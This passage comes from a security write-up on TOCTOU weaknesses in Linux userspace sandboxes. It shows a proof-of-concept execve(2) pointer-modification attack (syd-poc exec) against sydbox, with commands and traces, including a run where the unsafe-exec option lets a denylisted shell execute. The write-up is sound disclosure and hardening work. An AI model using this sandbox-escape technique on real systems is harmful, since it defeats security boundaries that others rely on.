[sydbox](https://lib.rs/crates/syd) turns the `O_PATH` flag in [_open_(2)](https://man7.org/linux/man-pages/man2/open.2.html) system call arguments to the `O_RDONLY` flag and emulates the system call as usual which avoids the [TOCTOU](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use) vector. This may have unintended side effects (e.g. [_open_(2)](https://man7.org/linux/man-pages/man2/open.2.html) with `O_PATH` will not update access time but [_open_(2)](https://man7.org/linux/man-pages/man2/open.2.html) with `O_RDONLY` will) so the option [`trace/allow_unsafe_open:1`](http://man.exherbolinux.org/syd.2.html#trace/allow_unsafe_open) is provided to avoid the flag change and continue the [_open_(2)](https://man7.org/linux/man-pages/man2/open.2.html) call in the sandbox process. - [sydbox](https://lib.rs/crates/syd) with [`trace/allow_unsafe_open:1`](http://man.exherbolinux.org/syd.2.html#trace/allow_unsafe_open) is vulnerable due to the same reason as the [Gentoo](https://www.gentoo.org/) sandbox. Let's repeat the old but golden rule: **Resuming the system call in the sandbox process after access check is unsafe!** - [The kernel](https://kernel.org/) _should_ provide a safe [API](https://en.wikipedia.org/wiki/API) for this for seccomp, [see #218501.](https://bugzilla.kernel.org/show_bug.cgi?id=218501) - Pass `O_PATH` along with the `O_CLOEXEC` flag in new file descriptor flags of `SECCOMP_ADDFD`? # [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) 3: [execve(2)](https://man7.org/linux/man-pages/man2/execve.2.html) pointer modification ## Setup No setup is necessary for this [PoC](https://en.wikipedia.org/wiki/Proof_of_concept). We are going to denylist an executable, namely `/bin/sh`, and then try to execute it regardless of the denylist. The benign executable is created as a temporary file by [_syd-poc_(1)](http://man.exherbolinux.org/syd-poc.1.html), therefore the directory `/tmp` is expected to be allowlisted by the sandbox. ``` $ readlink -f /bin/sh /usr/x86_64-pc-linux-musl/bin/bash $ syd-poc exec -h Usage syd-poc exec [-hsS] [-t timeout] {[executable] [args...]} Execute a denylisted file utilising pointer TOCTOU. Method of attack is pointer modification on the execve(2) system call making use of TOCTOU. Expects the directory /tmp is allowlisted for exec. Target executable defaults to /bin/sh. Default is to try until interrupted, specify a timeout with "-t timeout". Use -s to run test under strace, -S to skip strace auto-detection and run without tracing. ``` ## syd-poc exec - [TOCTOU](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use) on [_execve_(2)](https://man7.org/linux/man-pages/man2/execve.2.html) with pointer modification by a fellow malicious thread. - The method is identical to [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) 1 and 2, except we use the [_execve_(2)](https://man7.org/linux/man-pages/man2/execve.2.html) system call. - Goal: Execute a file despite the sandbox denylisting it. ``` syd-poc exec [*] Auto-detecting strace... [*] Attempting to run strace: "timeout" "5s" "strace" "-o/dev/null" "-f" "-qq" "-eexecve" "--" "/bin/true" [!] strace is available, let's use it! [*] Executing test under strace: "strace" "-f" "-qq" "-eexecve" "--" "/usr/local/bin/syd-poc" "exec" execve("/usr/local/bin/syd-poc", ["/usr/local/bin/syd-poc", "exec"], 0x7ffcdc980ba8 /* 110 vars */) = 0 [*] Starting execve(2) pointer modification TOCTOU attack... [*] Benign executable: /tmp/syd_poc_b6c6eba552ae5564b6c6eba552ae5564 [*] Target executable: /bin/sh [*] Attack will continue until interrupted (Press ^C to stop). execve("/tmp/syd_poc_b6c6eba552ae5564b6c6eba552ae5564", ["/bin/sh", "-"], NULL) = -1 EACCES (Permission denied) [pid 2924326] execve("/bin/sh", ["/bin/sh", "-"], NULL) = 0 sh-5.2$ ``` ## [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) 3: [Gentoo sandbox](https://wiki.gentoo.org/wiki/Sandbox_(Portage)) Not applicable, because [Gentoo](https://www.gentoo.org/) sandbox doesn't do [Exec Sandboxing](http://man.exherbolinux.org/syd.7.html#Exec_Sandboxing). ## [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) 3: [Exherbo sydbox](https://lib.rs/crates/syd) - We use the same [sydbox](https://lib.rs/crates/syd) rules as we used for [PoCs](https://en.wikipedia.org/wiki/Proof_of_concept) 1 & 2, with the addition of two rules: one to deny exec access to `/bin/sh` using its canonical path, and second to allowlist the directory `/tmp` recursively. ### Case 1: [allow\_unsafe\_exec](http://man.exherbolinux.org/syd.2.html#trace/allow_unsafe_exec) - [`trace/allow_unsafe_exec:1`](http://man.exherbolinux.org/syd.2.html#trace/allow_unsafe_exec) option is provided to remove the [_ptrace_(2)](https://man7.org/linux/man-pages/man2/ptrace.2.html) dependency from the sandbox. - Quoting [_syd_(2)](http://man.exherbolinux.org/syd.2.html) manual page: - *Warning*, this option makes [sydbox](https://lib.rs/crates/syd) keep the `CAP_SYS_PTRACE` capability and disables [Force Sandboxing](http://man.exherbolinux.org/syd.7.html#Force_Sandboxing), [SegvGuard](http://man.exherbolinux.org/syd.7.html#SegvGuard) and [the exec-TOCTOU mitigator](http://man.exherbolinux.org/syd.7.html#TOCTOU_due_to_pointer_modification). It allows the sandbox process to trivially break out of the sandbox by e.g. attaching to the [sydbox](https://lib.rs/crates/syd) main thread with [_ptrace_(2)](https://man7.org/linux/man-pages/man2/ptrace.2.html) and getting a handle to the [_seccomp_(2)](https://man7.org/linux/man-pages/man2/seccomp.2.html) notify file descriptor. Therefore, **this option should only be used in trusted environments.** ``` $ syd \ -m "allow/read,stat,exec+/{etc,dev,proc,usr,var,lib*}/***" \ -m "allow/write+/dev/{null,tty,pts/*}" \ -m "deny/exec+/usr/x86_64-pc-linux-musl/bin/bash" \ -m "allow/read,stat,write,exec+/tmp/***" \ -m trace/allow_unsafe_exec:1 \ syd-poc exec [*] Auto-detecting strace... [*] Attempting to run strace: "timeout" "5s" "strace" "-o/dev/null" "-f" "-qq" "-eexecve" "--" "/bin/true" [!] strace is available, let's use it! [*] Executing test under strace: "strace" "-f" "-qq" "-eexecve" "--" "/usr/local/bin/syd-poc" "exec" execve("/usr/local/bin/syd-poc", ["/usr/local/bin/syd-poc", "exec"], 0x7ffceeee0ba8 /* 109 vars */) = 0 [*] Starting execve(2) pointer modification TOCTOU attack... [*] Benign executable: /tmp/syd_poc_1bfff32e5162fbc71bfff32e5162fbc7 [*] Target executable: /bin/sh [*] Attack will continue until interrupted (Press ^C to stop). [pid 3067418] execve("/bin/sh", ["/bin/sh", "-"], NULL{"act":"Deny","c":9525657828114757,"cap":"x","cmd":"/usr/local/bin/syd-poc exec ","ctx":"access","cwd":"/home/alip/src/syd/syd-3","id":"cranky_johnson","l":2,"path":"/usr/x86_64-pc-linux-musl/bin/bash","pid":3067418,"sys":"execve","t":1716061643,"uid":1000} ) = -1 EACCES (Permission denied) [pid 3067418] execve("/bin/sh", ["/bin/sh", "-"], NULL{"act":"Deny","c":9525657831092475,"cap":"x","cmd":"/usr/local/bin/syd-poc exec ","ctx":"access","cwd":"/home/alip/src/syd/syd-3","id":"cranky_johnson","l":2,"path":"/usr/x86_64-pc-linux-musl/bin/bash","pid":3067418,"sys":"execve","t":1716061643,"uid":1000} ) = -1 EACCES (Permission denied) [pid 3067418] execve("/bin/sh", ["/bin/sh", "-"], NULL{"act":"Deny","c":9525657836921769,"cap":"x","cmd":"/usr/local/bin/syd-poc exec ","ctx":"access","cwd":"/home/alip/src/syd/syd-3","id":"cranky_johnson","l":2,"path":"/usr/x86_64-pc-linux-musl/bin/bash","pid":3067418,"sys":"execve","t":1716061643,"uid":1000} ) = -1 EACCES (Permission denied) execve("/tmp/syd_poc_1bfff32e5162fbc71bfff32e5162fbc7", ["/bin/sh", "-"], NULL) = 0 sh-5.2$ ``` ### Case 2: Defaults - [sydbox](https://lib.rs/crates/syd) does best-effort Exec Sandboxing to `Deny` on syscall entry. - Since [_execve_(2)](https://man7.org/linux/man-pages/man2/execve.2.html) can't be emulated [sydbox](https://lib.rs/crates/syd) has to **resume the call in the sandbox process**. This opens a [TOCTOU](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use) vector which is effectively mitigated. - Quoting [BUGS](http://man.exherbolinux.org/syd.7.html#BUGS) section of the [_syd_(7)](http://man.exherbolinux.org/syd.7.html) manual page: - As of version 3.16.0, [sydbox](https://lib.rs/crates/syd) applies an effective [TOCTOU](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use) mitigation for [_execve_(2)](https://man7.org/linux/man-pages/man2/execve.2.html), and _execveat_(2) system calls utilizing `PTRACE_EVENT_EXEC`. To mitigate, [sydbox](https://lib.rs/crates/syd) stops the process before return from [_execve_(2)](https://man7.org/linux/man-pages/man2/execve.2.html) using [_ptrace_(2)](https://man7.org/linux/man-pages/man2/ptrace.2.html) and checks the updated `/proc/pid/exe` magic symbolic link of the process against the sandbox. If the path is found to be denylisted, which indicates a successful [TOCTOU](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use) attempt to execute a denylisted path, [sydbox](https://lib.rs/crates/syd) terminates the process. ``` $ syd \ -m "allow/read,stat,exec+/{etc,dev,proc,usr,var,lib*}/***" \ -m "allow/write+/dev/{null,tty,pts/*}" \ -m "deny/exec+/usr/x86_64-pc-linux-musl/bin/bash" \ -m "allow/read,stat,write,exec+/tmp/***" \ syd-poc exec [*] Auto-detecting strace... [*] Attempting to run strace: "timeout" "5s" "strace" "-o/dev/null" "-f" "-qq" "-eexecve" "--" "/bin/true" [?] strace is not available, continuing without. [*] Starting execve(2) pointer modification TOCTOU attack... [*] Benign executable: /tmp/syd_poc_8f0cbe3c77d06e918f0cbe3c77d06e91 [*] Target executable: /bin/sh [*] Attack will continue until interrupted (Press ^C to stop). {"act":"Deny","c":9520916054313989,"cap":"x","cmd":"syd-poc exec ","ctx":"access","cwd":"/home/alip/src/syd/syd-3","id":"brave_cerf","l":2,"path":"/usr/x86_64-pc-linux-musl/bin/bash","pid":2932143,"sys":"execve","t":1716059742,"uid":1000} {"act":"Deny","c":9520916056498563,"cap":"x","cmd":"syd-poc exec ","ctx":"access","cwd":"/home/alip/src/syd/syd-3","id":"brave_cerf","l":2,"path":"/usr/x86_64-pc-linux-musl/bin/bash","pid":2932143,"sys":"execve","t":1716059742,"uid":1000} {"act":"Deny","c":9520916061241357,"cap":"x","cmd":"syd-poc exec ","ctx":"access","cwd":"/home/alip/src/syd/syd-3","id":"brave_cerf","l":2,"path":"/usr/x86_64-pc-linux-musl/bin/bash","pid":2932143,"sys":"execve","t":1716059742,"uid":1000} {"act":"Deny","c":9520916067524642,"cap":"x","cmd":"syd-poc exec ","ctx":"access","cwd":"/home/alip/src/syd/syd-3","id":"brave_cerf","l":2,"path":"/usr/x86_64-pc-linux-musl/bin/bash","pid":2932143,"sys":"execve","t":1716059742,"uid":1000} {"act":"Deny","c":9520916069832642,"cap":"x","cmd":"syd-poc exec ","ctx":"access","cwd":"/home/alip/src/syd/syd-3","id":"brave_cerf","l":2,"path":"/usr/x86_64-pc-linux-musl/bin/bash","pid":2932143,"sys":"execve","t":1716059742,"uid":1000} {"act":"Deny","c":9520916074762557,"cap":"x","cmd":"syd-poc exec ","ctx":"access","cwd":"/home/alip/src/syd/syd-3","id":"brave_cerf","l":2,"path":"/usr/x86_64-pc-linux-musl/bin/bash","pid":2932143,"sys":"execve","t":1716059742,"uid":1000} {"act":"Deny","c":9520916077102451,"cap":"x","cmd":"syd-poc exec ","ctx":"access","cwd":"/home/alip/src/syd/syd-3","id":"brave_cerf","l":2,"path":"/usr/x86_64-pc-linux-musl/bin/bash","pid":2932143,"sys":"execve","t":1716059742,"uid":1000} {"act":"Deny","c":9520916079252142,"cap":"x","cmd":"syd-poc exec ","ctx":"access","cwd":"/home/alip/src/syd/syd-3","id":"brave_cerf","l":2,"path":"/usr/x86_64-pc-linux-musl/bin/bash","pid":2932143,"sys":"execve","t":1716059742,"uid":1000} {"act":"Kill","bins":["/usr/x86_64-pc-linux-musl/bin/bash"],"c":9520916087499389,"cap":"x","cmd":"/bin/sh - ","ctx":"access","cwd":"/home/alip/src/syd/syd-3","id":"brave_cerf","l":2,"path":"/usr/x86_64-pc-linux-musl/bin/bash","pid":2932143,"sys":"exec","t":1716059742,"uid":1000} $ ``` ## [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) 3: Takeaways - Mitigation - Terminating the process at `PTRACE_EVENT_EXEC` is safe, but: 1. It is intrusive. 1. It pulls in the [_ptrace_(2)](https://man7.org/linux/man-pages/man2/ptrace.2.html) dependency into a _seccomp_(2) sandbox. - Solution - [The kernel](https://kernel.org/) _should_ provide a safe [API](https://en.wikipedia.org/wiki/API) for this for seccomp, [see #218501.](https://bugzilla.kernel.org/show_bug.cgi?id=218501) - `SECCOMP_EXEC` akin to `SECCOMP_ADDFD`? # Conclusion Both [Gentoo's sandbox](https://wiki.gentoo.org/wiki/Sandbox_(Portage)) and [Exherbo's sydbox](https://lib.rs/crates/syd) aim to provide user-space sandboxing on [Linux](https://en.wikipedia.org/wiki/Linux), but they differ significantly in their approach and effectiveness. [Gentoo](https://www.gentoo.org/)'s sandbox is primarily designed to detect package build mishaps and offers limited defense against sophisticated attacks. On the other hand, [sydbox](https://lib.rs/crates/syd), with sydbox-3, attempts to function as a security boundary with more advanced features and mitigations against [TOCTOU (Time-of-Check to Time-of-Use)](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use) attacks. Despite these efforts, both sandboxes are still vulnerable to certain [TOCTOU](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use) exploits due to inherent limitations in the [_ptrace_(2)](https://man7.org/linux/man-pages/man2/ptrace.2.html) and [_seccomp_(2)](https://man7.org/linux/man-pages/man2/seccomp.2.html) frameworks, which requires some system calls to be resumed within the sandbox process. To enhance the security of these sandboxing tools, there is a pressing need for the [Linux kernel](https://kernel.org/) to provide safer [APIs](https://en.wikipedia.org/wiki/API) for handling critical system calls with the [_seccomp_(2)](https://man7.org/linux/man-pages/man2/seccomp.2.html) framework. Additionally, best practices such as using the "write xor execute" (W^X) approach, mount namespaces, and [Landlock](https://landlock.io/) should be employed to create a more secure sandboxing environment.